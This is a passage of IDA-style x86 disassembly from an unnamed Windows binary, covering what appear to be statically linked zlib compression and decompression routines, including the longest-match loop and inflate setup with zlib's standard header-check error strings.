loc_4C01CB: ; CODE XREF: sub_4BFEFA+2CDj
mov edx, [ebp+var_14]
add edx, [ebp+var_18]
mov al, [edx-1]
mov byte ptr [ebp+var_8], al
mov ecx, [ebp+var_14]
add ecx, [ebp+var_18]
mov dl, [ecx]
mov byte ptr [ebp+var_4], dl
loc_4C01E2: ; CODE XREF: sub_4BFEFA:loc_4C003Bj
; sub_4BFEFA+2B6j
mov eax, [ebp+arg_4]
and eax, [ebp+var_1C]
mov ecx, [ebp+var_28]
xor edx, edx
mov dx, [ecx+eax*2]
mov [ebp+arg_4], edx
mov eax, [ebp+arg_4]
cmp eax, [ebp+var_20]
jbe short loc_4C020F
mov ecx, [ebp+var_2C]
sub ecx, 1
mov [ebp+var_2C], ecx
cmp [ebp+var_2C], 0
jnz loc_4BFFD4
loc_4C020F: ; CODE XREF: sub_4BFEFA+2CFj
; sub_4BFEFA+300j
mov edx, [ebp+arg_0]
mov eax, [ebp+var_18]
cmp eax, [edx+6Ch]
ja short loc_4C021F
mov eax, [ebp+var_18]
jmp short loc_4C0225
; ---------------------------------------------------------------------------
loc_4C021F: ; CODE XREF: sub_4BFEFA+31Ej
mov ecx, [ebp+arg_0]
mov eax, [ecx+6Ch]
loc_4C0225: ; CODE XREF: sub_4BFEFA+323j
mov esp, ebp
pop ebp
retn
sub_4BFEFA endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 2Ch
push ebx
mov dword ptr [ebp-8], 0
loc_4C0237: ; CODE XREF: .text:loc_4C07CEj
mov eax, [ebp+8]
cmp dword ptr [eax+6Ch], 106h
jnb short loc_4C0276
mov ecx, [ebp+8]
push ecx
call sub_4BF6D0
add esp, 4
mov edx, [ebp+8]
cmp dword ptr [edx+6Ch], 106h
jnb short loc_4C0268
cmp dword ptr [ebp+0Ch], 0
jnz short loc_4C0268
xor eax, eax
jmp loc_4C0916
; ---------------------------------------------------------------------------
loc_4C0268: ; CODE XREF: .text:004C0259j
; .text:004C025Fj
mov eax, [ebp+8]
cmp dword ptr [eax+6Ch], 0
jnz short loc_4C0276
jmp loc_4C07D3
; ---------------------------------------------------------------------------
loc_4C0276: ; CODE XREF: .text:004C0241j
; .text:004C026Fj
mov ecx, [ebp+8]
cmp dword ptr [ecx+6Ch], 3
jb short loc_4C02F3
mov edx, [ebp+8]
mov eax, [ebp+8]
mov edx, [edx+40h]
mov ecx, [eax+50h]
shl edx, cl
mov eax, [ebp+8]
mov ecx, [eax+64h]
mov eax, [ebp+8]
mov eax, [eax+30h]
xor ebx, ebx
mov bl, [eax+ecx+2]
xor edx, ebx
mov ecx, [ebp+8]
and edx, [ecx+4Ch]
mov eax, [ebp+8]
mov [eax+40h], edx
mov ecx, [ebp+8]
mov edx, [ecx+40h]
mov eax, [ebp+8]
mov ecx, [eax+3Ch]
xor eax, eax
mov ax, [ecx+edx*2]
mov [ebp-8], eax
mov ecx, [ebp+8]
mov edx, [ebp+8]
mov eax, [ecx+64h]
and eax, [edx+2Ch]
mov ecx, [ebp+8]
mov edx, [ecx+38h]
mov cx, [ebp-8]
mov [edx+eax*2], cx
mov edx, [ebp+8]
mov eax, [edx+40h]
mov ecx, [ebp+8]
mov edx, [ecx+3Ch]
mov ecx, [ebp+8]
mov cx, [ecx+64h]
mov [edx+eax*2], cx
loc_4C02F3: ; CODE XREF: .text:004C027Dj
mov edx, [ebp+8]
mov eax, [ebp+8]
mov ecx, [eax+58h]
mov [edx+70h], ecx
mov edx, [ebp+8]
mov eax, [ebp+8]
mov ecx, [eax+68h]
mov [edx+5Ch], ecx
mov edx, [ebp+8]
mov dword ptr [edx+58h], 2
cmp dword ptr [ebp-8], 0
jz loc_4C03A3
mov eax, [ebp+8]
mov ecx, [ebp+8]
mov edx, [eax+70h]
cmp edx, [ecx+78h]
jnb short loc_4C03A3
mov eax, [ebp+8]
mov ecx, [eax+64h]
sub ecx, [ebp-8]
mov edx, [ebp+8]
mov eax, [edx+24h]
sub eax, 106h
cmp ecx, eax
ja short loc_4C03A3
mov ecx, [ebp+8]
cmp dword ptr [ecx+80h], 2
jz short loc_4C0367
mov edx, [ebp-8]
push edx
mov eax, [ebp+8]
push eax
call sub_4BFEFA
add esp, 8
mov ecx, [ebp+8]
mov [ecx+58h], eax
loc_4C0367: ; CODE XREF: .text:004C034Fj
mov edx, [ebp+8]
cmp dword ptr [edx+58h], 5
ja short loc_4C03A3
mov eax, [ebp+8]
cmp dword ptr [eax+80h], 1
jz short loc_4C0399
mov ecx, [ebp+8]
cmp dword ptr [ecx+58h], 3
jnz short loc_4C03A3
mov edx, [ebp+8]
mov eax, [ebp+8]
mov ecx, [edx+64h]
sub ecx, [eax+68h]
cmp ecx, 1000h
jbe short loc_4C03A3
loc_4C0399: ; CODE XREF: .text:004C037Aj
mov edx, [ebp+8]
mov dword ptr [edx+58h], 2
loc_4C03A3: ; CODE XREF: .text:004C0319j
; .text:004C032Bj ...
mov eax, [ebp+8]
cmp dword ptr [eax+70h], 3
jb loc_4C0666
mov ecx, [ebp+8]
mov edx, [ebp+8]
mov eax, [ecx+58h]
cmp eax, [edx+70h]
ja loc_4C0666
mov ecx, [ebp+8]
mov edx, [ecx+64h]
mov eax, [ebp+8]
mov ecx, [eax+6Ch]
lea edx, [edx+ecx-3]
mov [ebp-0Ch], edx
mov eax, [ebp+8]
mov ecx, [eax+70h]
sub ecx, 3
mov [ebp-14h], cl
mov edx, [ebp+8]
mov eax, [edx+64h]
sub eax, 1
mov ecx, [ebp+8]
sub eax, [ecx+5Ch]
mov [ebp-10h], ax
mov edx, [ebp+8]
mov eax, [edx+1698h]
mov ecx, [ebp+8]
mov edx, [ecx+169Ch]
mov cx, [ebp-10h]
mov [edx+eax*2], cx
mov edx, [ebp+8]
mov eax, [edx+1690h]
mov ecx, [ebp+8]
mov edx, [ecx+1698h]
mov cl, [ebp-14h]
mov [eax+edx], cl
mov edx, [ebp+8]
mov eax, [edx+1698h]
add eax, 1
mov ecx, [ebp+8]
mov [ecx+1698h], eax
mov dx, [ebp-10h]
sub dx, 1
mov [ebp-10h], dx
mov eax, [ebp-14h]
and eax, 0FFh
xor ecx, ecx
mov cl, byte_4F2CA0[eax]
mov edx, [ebp+8]
mov ax, [edx+ecx*4+490h]
add ax, 1
mov ecx, [ebp-14h]
and ecx, 0FFh
xor edx, edx
mov dl, byte_4F2CA0[ecx]
mov ecx, [ebp+8]
mov [ecx+edx*4+490h], ax
mov edx, [ebp-10h]
and edx, 0FFFFh
cmp edx, 100h
jge short loc_4C04A8
mov eax, [ebp-10h]
and eax, 0FFFFh
xor ecx, ecx
mov cl, byte_4F2AA0[eax]
mov [ebp-20h], ecx
jmp short loc_4C04BF
; ---------------------------------------------------------------------------
loc_4C04A8: ; CODE XREF: .text:004C0491j
mov edx, [ebp-10h]
and edx, 0FFFFh
sar edx, 7
xor eax, eax
mov al, byte_4F2BA0[edx]
mov [ebp-20h], eax
loc_4C04BF: ; CODE XREF: .text:004C04A6j
mov ecx, [ebp-20h]
mov edx, [ebp+8]
mov ax, [edx+ecx*4+980h]
add ax, 1
mov ecx, [ebp-20h]
mov edx, [ebp+8]
mov [edx+ecx*4+980h], ax
mov eax, [ebp+8]
mov ecx, [eax+1694h]
sub ecx, 1
mov edx, [ebp+8]
xor eax, eax
cmp [edx+1698h], ecx
setz al
mov [ebp-4], eax
mov ecx, [ebp+8]
mov edx, [ecx+70h]
sub edx, 1
mov eax, [ebp+8]
mov ecx, [eax+6Ch]
sub ecx, edx
mov edx, [ebp+8]
mov [edx+6Ch], ecx
mov eax, [ebp+8]
mov ecx, [eax+70h]
sub ecx, 2
mov edx, [ebp+8]
mov [edx+70h], ecx
loc_4C0522: ; CODE XREF: .text:004C05C6j
mov eax, [ebp+8]
mov ecx, [eax+64h]
add ecx, 1
mov edx, [ebp+8]
mov [edx+64h], ecx
mov eax, [ebp+8]
mov ecx, [eax+64h]
cmp ecx, [ebp-0Ch]
ja short loc_4C05B0
mov edx, [ebp+8]
mov eax, [ebp+8]
mov edx, [edx+40h]
mov ecx, [eax+50h]
shl edx, cl
mov eax, [ebp+8]
mov ecx, [eax+64h]
mov eax, [ebp+8]
mov eax, [eax+30h]
xor ebx, ebx
mov bl, [eax+ecx+2]
xor edx, ebx
mov ecx, [ebp+8]
and edx, [ecx+4Ch]
mov eax, [ebp+8]
mov [eax+40h], edx
mov ecx, [ebp+8]
mov edx, [ecx+40h]
mov eax, [ebp+8]
mov ecx, [eax+3Ch]
xor eax, eax
mov ax, [ecx+edx*2]
mov [ebp-8], eax
mov ecx, [ebp+8]
mov edx, [ebp+8]
mov eax, [ecx+64h]
and eax, [edx+2Ch]
mov ecx, [ebp+8]
mov edx, [ecx+38h]
mov cx, [ebp-8]
mov [edx+eax*2], cx
mov edx, [ebp+8]
mov eax, [edx+40h]
mov ecx, [ebp+8]
mov edx, [ecx+3Ch]
mov ecx, [ebp+8]
mov cx, [ecx+64h]
mov [edx+eax*2], cx
loc_4C05B0: ; CODE XREF: .text:004C053Aj
mov edx, [ebp+8]
mov eax, [edx+70h]
sub eax, 1
mov ecx, [ebp+8]
mov [ecx+70h], eax
mov edx, [ebp+8]
cmp dword ptr [edx+70h], 0
jnz loc_4C0522
mov eax, [ebp+8]
mov dword ptr [eax+60h], 0
mov ecx, [ebp+8]
mov dword ptr [ecx+58h], 2
mov edx, [ebp+8]
mov eax, [edx+64h]
add eax, 1
mov ecx, [ebp+8]
mov [ecx+64h], eax
cmp dword ptr [ebp-4], 0
jz short loc_4C0661
mov edx, [ebp+8]
cmp dword ptr [edx+54h], 0
jl short loc_4C060F
mov eax, [ebp+8]
mov ecx, [eax+30h]
mov edx, [ebp+8]
add ecx, [edx+54h]
mov [ebp-24h], ecx
jmp short loc_4C0616
; ---------------------------------------------------------------------------
loc_4C060F: ; CODE XREF: .text:004C05FCj
mov dword ptr [ebp-24h], 0
loc_4C0616: ; CODE XREF: .text:004C060Dj
push 0
mov eax, [ebp+8]
mov ecx, [ebp+8]
mov edx, [eax+64h]
sub edx, [ecx+54h]
push edx
mov eax, [ebp-24h]
push eax
mov ecx, [ebp+8]
push ecx
call sub_4C20F2
add esp, 10h
mov edx, [ebp+8]
mov eax, [ebp+8]
mov ecx, [eax+64h]
mov [edx+54h], ecx
mov edx, [ebp+8]
mov eax, [edx]
push eax
call sub_4BEF80
add esp, 4
mov ecx, [ebp+8]
mov edx, [ecx]
cmp dword ptr [edx+10h], 0
jnz short loc_4C0661
xor eax, eax
jmp loc_4C0916
; ---------------------------------------------------------------------------
loc_4C0661: ; CODE XREF: .text:004C05F3j
; .text:004C0658j
jmp loc_4C07CE
; ---------------------------------------------------------------------------
loc_4C0666: ; CODE XREF: .text:004C03AAj
; .text:004C03BCj
mov eax, [ebp+8]
cmp dword ptr [eax+60h], 0
jz loc_4C07A6
mov ecx, [ebp+8]
mov edx, [ecx+64h]
mov eax, [ebp+8]
mov ecx, [eax+30h]
mov dl, [ecx+edx-1]
mov [ebp-18h], dl
mov eax, [ebp+8]
mov ecx, [eax+1698h]
mov edx, [ebp+8]
mov eax, [edx+169Ch]
mov word ptr [eax+ecx*2], 0
mov ecx, [ebp+8]
mov edx, [ecx+1690h]
mov eax, [ebp+8]
mov ecx, [eax+1698h]
mov al, [ebp-18h]
mov [edx+ecx], al
mov ecx, [ebp+8]
mov edx, [ecx+1698h]
add edx, 1
mov eax, [ebp+8]
mov [eax+1698h], edx
mov ecx, [ebp-18h]
and ecx, 0FFh
mov edx, [ebp+8]
mov ax, [edx+ecx*4+8Ch]
add ax, 1
mov ecx, [ebp-18h]
and ecx, 0FFh
mov edx, [ebp+8]
mov [edx+ecx*4+8Ch], ax
mov eax, [ebp+8]
mov ecx, [eax+1694h]
sub ecx, 1
mov edx, [ebp+8]
xor eax, eax
cmp [edx+1698h], ecx
setz al
mov [ebp-4], eax
cmp dword ptr [ebp-4], 0
jz short loc_4C0774
mov ecx, [ebp+8]
cmp dword ptr [ecx+54h], 0
jl short loc_4C0734
mov edx, [ebp+8]
mov eax, [edx+30h]
mov ecx, [ebp+8]
add eax, [ecx+54h]
mov [ebp-28h], eax
jmp short loc_4C073B
; ---------------------------------------------------------------------------
loc_4C0734: ; CODE XREF: .text:004C0721j
mov dword ptr [ebp-28h], 0
loc_4C073B: ; CODE XREF: .text:004C0732j
push 0
mov edx, [ebp+8]
mov eax, [ebp+8]
mov ecx, [edx+64h]
sub ecx, [eax+54h]
push ecx
mov edx, [ebp-28h]
push edx
mov eax, [ebp+8]
push eax
call sub_4C20F2
add esp, 10h
mov ecx, [ebp+8]
mov edx, [ebp+8]
mov eax, [edx+64h]
mov [ecx+54h], eax
mov ecx, [ebp+8]
mov edx, [ecx]
push edx
call sub_4BEF80
add esp, 4
loc_4C0774: ; CODE XREF: .text:004C0718j
mov eax, [ebp+8]
mov ecx, [eax+64h]
add ecx, 1
mov edx, [ebp+8]
mov [edx+64h], ecx
mov eax, [ebp+8]
mov ecx, [eax+6Ch]
sub ecx, 1
mov edx, [ebp+8]
mov [edx+6Ch], ecx
mov eax, [ebp+8]
mov ecx, [eax]
cmp dword ptr [ecx+10h], 0
jnz short loc_4C07A4
xor eax, eax
jmp loc_4C0916
; ---------------------------------------------------------------------------
loc_4C07A4: ; CODE XREF: .text:004C079Bj
jmp short loc_4C07CE
; ---------------------------------------------------------------------------
loc_4C07A6: ; CODE XREF: .text:004C066Dj
mov edx, [ebp+8]
mov dword ptr [edx+60h], 1
mov eax, [ebp+8]
mov ecx, [eax+64h]
add ecx, 1
mov edx, [ebp+8]
mov [edx+64h], ecx
mov eax, [ebp+8]
mov ecx, [eax+6Ch]
sub ecx, 1
mov edx, [ebp+8]
mov [edx+6Ch], ecx
loc_4C07CE: ; CODE XREF: .text:loc_4C0661j
; .text:loc_4C07A4j
jmp loc_4C0237
; ---------------------------------------------------------------------------
loc_4C07D3: ; CODE XREF: .text:004C0271j
mov eax, [ebp+8]
cmp dword ptr [eax+60h], 0
jz loc_4C088B
mov ecx, [ebp+8]
mov edx, [ecx+64h]
mov eax, [ebp+8]
mov ecx, [eax+30h]
mov dl, [ecx+edx-1]
mov [ebp-1Ch], dl
mov eax, [ebp+8]
mov ecx, [eax+1698h]
mov edx, [ebp+8]
mov eax, [edx+169Ch]
mov word ptr [eax+ecx*2], 0
mov ecx, [ebp+8]
mov edx, [ecx+1690h]
mov eax, [ebp+8]
mov ecx, [eax+1698h]
mov al, [ebp-1Ch]
mov [edx+ecx], al
mov ecx, [ebp+8]
mov edx, [ecx+1698h]
add edx, 1
mov eax, [ebp+8]
mov [eax+1698h], edx
mov ecx, [ebp-1Ch]
and ecx, 0FFh
mov edx, [ebp+8]
mov ax, [edx+ecx*4+8Ch]
add ax, 1
mov ecx, [ebp-1Ch]
and ecx, 0FFh
mov edx, [ebp+8]
mov [edx+ecx*4+8Ch], ax
mov eax, [ebp+8]
mov ecx, [eax+1694h]
sub ecx, 1
mov edx, [ebp+8]
xor eax, eax
cmp [edx+1698h], ecx
setz al
mov [ebp-4], eax
mov ecx, [ebp+8]
mov dword ptr [ecx+60h], 0
loc_4C088B: ; CODE XREF: .text:004C07DAj
mov edx, [ebp+8]
cmp dword ptr [edx+54h], 0
jl short loc_4C08A5
mov eax, [ebp+8]
mov ecx, [eax+30h]
mov edx, [ebp+8]
add ecx, [edx+54h]
mov [ebp-2Ch], ecx
jmp short loc_4C08AC
; ---------------------------------------------------------------------------
loc_4C08A5: ; CODE XREF: .text:004C0892j
mov dword ptr [ebp-2Ch], 0
loc_4C08AC: ; CODE XREF: .text:004C08A3j
xor eax, eax
cmp dword ptr [ebp+0Ch], 4
setz al
push eax
mov ecx, [ebp+8]
mov edx, [ebp+8]
mov eax, [ecx+64h]
sub eax, [edx+54h]
push eax
mov ecx, [ebp-2Ch]
push ecx
mov edx, [ebp+8]
push edx
call sub_4C20F2
add esp, 10h
mov eax, [ebp+8]
mov ecx, [ebp+8]
mov edx, [ecx+64h]
mov [eax+54h], edx
mov eax, [ebp+8]
mov ecx, [eax]
push ecx
call sub_4BEF80
add esp, 4
mov edx, [ebp+8]
mov eax, [edx]
cmp dword ptr [eax+10h], 0
jnz short loc_4C0907
xor eax, eax
cmp dword ptr [ebp+0Ch], 4
setnz al
dec eax
and eax, 2
jmp short loc_4C0916
; ---------------------------------------------------------------------------
loc_4C0907: ; CODE XREF: .text:004C08F6j
mov eax, [ebp+0Ch]
sub eax, 4
neg eax
sbb eax, eax
and al, 0FEh
add eax, 3
loc_4C0916: ; CODE XREF: .text:004C0263j
; .text:004C065Cj ...
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C0920 proc near ; CODE XREF: sub_4C09F4+15Ap
; .text:004C142Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp [ebp+arg_0], 0
jz short loc_4C0932
mov eax, [ebp+arg_0]
cmp dword ptr [eax+1Ch], 0
jnz short loc_4C0939
loc_4C0932: ; CODE XREF: sub_4C0920+7j
mov eax, 0FFFFFFFEh
jmp short loc_4C0989
; ---------------------------------------------------------------------------
loc_4C0939: ; CODE XREF: sub_4C0920+10j
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+14h], 0
mov edx, [ebp+arg_0]
mov dword ptr [edx+8], 0
mov eax, [ebp+arg_0]
mov dword ptr [eax+18h], 0
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov eax, [edx+0Ch]
neg eax
sbb eax, eax
and eax, 7
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov [edx], eax
push 0
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov eax, [edx+14h]
push eax
call sub_4C4D60
add esp, 0Ch
xor eax, eax
loc_4C0989: ; CODE XREF: sub_4C0920+17j
pop ebp
retn
sub_4C0920 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C098B proc near ; CODE XREF: sub_49034E+1D8p
; sub_4C09F4+E6p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp [ebp+arg_0], 0
jz short loc_4C09A6
mov eax, [ebp+arg_0]
cmp dword ptr [eax+1Ch], 0
jz short loc_4C09A6
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+24h], 0
jnz short loc_4C09AD
loc_4C09A6: ; CODE XREF: sub_4C098B+7j
; sub_4C098B+10j
mov eax, 0FFFFFFFEh
jmp short loc_4C09F2
; ---------------------------------------------------------------------------
loc_4C09AD: ; CODE XREF: sub_4C098B+19j
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
cmp dword ptr [eax+14h], 0
jz short loc_4C09CF
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov ecx, [eax+14h]
push ecx
call sub_4C629D
add esp, 8
loc_4C09CF: ; CODE XREF: sub_4C098B+2Cj
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+28h]
push edx
mov eax, [ebp+arg_0]
call dword ptr [eax+24h]
add esp, 8
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+1Ch], 0
xor eax, eax
loc_4C09F2: ; CODE XREF: sub_4C098B+20j
pop ebp
retn
sub_4C098B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C09F4 proc near ; CODE XREF: sub_4C0B5A+11p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0
jz short loc_4C0A14
mov eax, [ebp+arg_8]
movsx ecx, byte ptr [eax]
movsx edx, byte_4EDDF0
cmp ecx, edx
jnz short loc_4C0A14
cmp [ebp+arg_C], 38h
jz short loc_4C0A1E
loc_4C0A14: ; CODE XREF: sub_4C09F4+7j
; sub_4C09F4+18j
mov eax, 0FFFFFFFAh
jmp loc_4C0B58
; ---------------------------------------------------------------------------
loc_4C0A1E: ; CODE XREF: sub_4C09F4+1Ej
cmp [ebp+arg_0], 0
jnz short loc_4C0A2E
mov eax, 0FFFFFFFEh
jmp loc_4C0B58
; ---------------------------------------------------------------------------
loc_4C0A2E: ; CODE XREF: sub_4C09F4+2Ej
mov eax, [ebp+arg_0]
mov dword ptr [eax+18h], 0
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+20h], 0
jnz short loc_4C0A55
mov edx, [ebp+arg_0]
mov dword ptr [edx+20h], offset sub_4C169E
mov eax, [ebp+arg_0]
mov dword ptr [eax+28h], 0
loc_4C0A55: ; CODE XREF: sub_4C09F4+4Bj
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+24h], 0
jnz short loc_4C0A68
mov edx, [ebp+arg_0]
mov dword ptr [edx+24h], offset sub_4C16C7
loc_4C0A68: ; CODE XREF: sub_4C09F4+68j
push 18h
push 1
mov eax, [ebp+arg_0]
mov ecx, [eax+28h]
push ecx
mov edx, [ebp+arg_0]
call dword ptr [edx+20h]
add esp, 0Ch
mov ecx, [ebp+arg_0]
mov [ecx+1Ch], eax
mov edx, [ebp+arg_0]
cmp dword ptr [edx+1Ch], 0
jnz short loc_4C0A95
mov eax, 0FFFFFFFCh
jmp loc_4C0B58
; ---------------------------------------------------------------------------
loc_4C0A95: ; CODE XREF: sub_4C09F4+95j
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov dword ptr [ecx+14h], 0
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov dword ptr [eax+0Ch], 0
cmp [ebp+arg_4], 0
jge short loc_4C0ACA
mov ecx, [ebp+arg_4]
neg ecx
mov [ebp+arg_4], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov dword ptr [eax+0Ch], 1
loc_4C0ACA: ; CODE XREF: sub_4C09F4+BFj
cmp [ebp+arg_4], 8
jl short loc_4C0AD6
cmp [ebp+arg_4], 0Fh
jle short loc_4C0AE9
loc_4C0AD6: ; CODE XREF: sub_4C09F4+DAj
mov ecx, [ebp+arg_0]
push ecx
call sub_4C098B
add esp, 4
mov eax, 0FFFFFFFEh
jmp short loc_4C0B58
; ---------------------------------------------------------------------------
loc_4C0AE9: ; CODE XREF: sub_4C09F4+E0j
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov ecx, [ebp+arg_4]
mov [eax+10h], ecx
mov edx, 1
mov ecx, [ebp+arg_4]
shl edx, cl
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov edx, [ecx+0Ch]
neg edx
sbb edx, edx
not edx
and edx, offset sub_4C16E0
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4C4E17
add esp, 0Ch
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov [edx+14h], eax
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
cmp dword ptr [ecx+14h], 0
jnz short loc_4C0B4A
mov edx, [ebp+arg_0]
push edx
call sub_4C098B
add esp, 4
mov eax, 0FFFFFFFCh
jmp short loc_4C0B58
; ---------------------------------------------------------------------------
loc_4C0B4A: ; CODE XREF: sub_4C09F4+141j
mov eax, [ebp+arg_0]
push eax
call sub_4C0920
add esp, 4
xor eax, eax
loc_4C0B58: ; CODE XREF: sub_4C09F4+25j
; sub_4C09F4+35j ...
pop ebp
retn
sub_4C09F4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C0B5A proc near ; CODE XREF: sub_49034E+19Ap
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
push 0Fh
mov edx, [ebp+arg_0]
push edx
call sub_4C09F4
add esp, 10h
pop ebp
retn
sub_4C0B5A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C0B75 proc near ; CODE XREF: sub_49034E+1B1p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
cmp [ebp+arg_0], 0
jz short loc_4C0B92
mov eax, [ebp+arg_0]
cmp dword ptr [eax+1Ch], 0
jz short loc_4C0B92
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx], 0
jnz short loc_4C0B9C
loc_4C0B92: ; CODE XREF: sub_4C0B75+Aj
; sub_4C0B75+13j
mov eax, 0FFFFFFFEh
jmp loc_4C120A
; ---------------------------------------------------------------------------
loc_4C0B9C: ; CODE XREF: sub_4C0B75+1Bj
xor edx, edx
cmp [ebp+arg_4], 4
setnz dl
dec edx
and edx, 0FFFFFFFBh
mov [ebp+arg_4], edx
mov [ebp+var_8], 0FFFFFFFBh
loc_4C0BB3: ; CODE XREF: sub_4C0B75:loc_4C1205j
mov eax, 1
test eax, eax
jz loc_4C120A
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov eax, [edx]
mov [ebp+var_C], eax
cmp [ebp+var_C], 0Dh
ja loc_4C11FE
mov ecx, [ebp+var_C]
jmp ds:off_4C120E[ecx*4]
loc_4C0BDF: ; DATA XREF: .text:off_4C120Eo
mov edx, [ebp+arg_0]
cmp dword ptr [edx+4], 0
jnz short loc_4C0BF0
mov eax, [ebp+var_8]
jmp loc_4C120A
; ---------------------------------------------------------------------------
loc_4C0BF0: ; CODE XREF: sub_4C0B75+71j
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
sub edx, 1
mov eax, [ebp+arg_0]
mov [eax+4], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+8], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx]
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
xor eax, eax
mov al, [edx]
mov [ecx+4], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov eax, [edx+4]
and eax, 0Fh
mov ecx, [ebp+arg_0]
mov edx, [ecx]
add edx, 1
mov ecx, [ebp+arg_0]
mov [ecx], edx
cmp eax, 8
jz short loc_4C0C6C
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov dword ptr [eax], 0Dh
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+18h], offset aUnknownCompres ; "unknown compression method"
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov dword ptr [eax+4], 5
jmp loc_4C1205
; ---------------------------------------------------------------------------
loc_4C0C6C: ; CODE XREF: sub_4C0B75+CDj
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov eax, [edx+4]
shr eax, 4
add eax, 8
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
cmp eax, [edx+10h]
jbe short loc_4C0CAE
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov dword ptr [ecx], 0Dh
mov edx, [ebp+arg_0]
mov dword ptr [edx+18h], offset aInvalidWindowS ; "invalid window size"
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov dword ptr [ecx+4], 5
jmp loc_4C1205
; ---------------------------------------------------------------------------
loc_4C0CAE: ; CODE XREF: sub_4C0B75+10Fj
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov dword ptr [eax], 1
loc_4C0CBA: ; CODE XREF: sub_4C0B75+63j
; DATA XREF: .text:004C1212o
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+4], 0
jnz short loc_4C0CCB
mov eax, [ebp+var_8]
jmp loc_4C120A
; ---------------------------------------------------------------------------
loc_4C0CCB: ; CODE XREF: sub_4C0B75+14Cj
mov edx, [ebp+arg_4]
mov [ebp+var_8], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
sub ecx, 1
mov edx, [ebp+arg_0]
mov [edx+4], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx+8], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax]
xor edx, edx
mov dl, [ecx]
mov [ebp+var_4], edx
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov eax, [ecx+4]
shl eax, 8
add eax, [ebp+var_4]
xor edx, edx
mov ecx, 1Fh
div ecx
test edx, edx
jz short loc_4C0D4C
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov dword ptr [eax], 0Dh
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+18h], offset aIncorrectHeade ; "incorrect header check"
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov dword ptr [eax+4], 5
jmp loc_4C1205
; ---------------------------------------------------------------------------
loc_4C0D4C: ; CODE XREF: sub_4C0B75+1ADj
mov ecx, [ebp+var_4]
and ecx, 20h
test ecx, ecx
jnz short loc_4C0D67
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov dword ptr [eax], 7
jmp loc_4C1205
; ---------------------------------------------------------------------------
loc_4C0D67: ; CODE XREF: sub_4C0B75+1DFj
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov dword ptr [edx], 2
loc_4C0D73: ; CODE XREF: sub_4C0B75+63j
; DATA XREF: .text:004C1216o
mov eax, [ebp+arg_0]
cmp dword ptr [eax+4], 0
jnz short loc_4C0D84
mov eax, [ebp+var_8]
jmp loc_4C120A
; ---------------------------------------------------------------------------
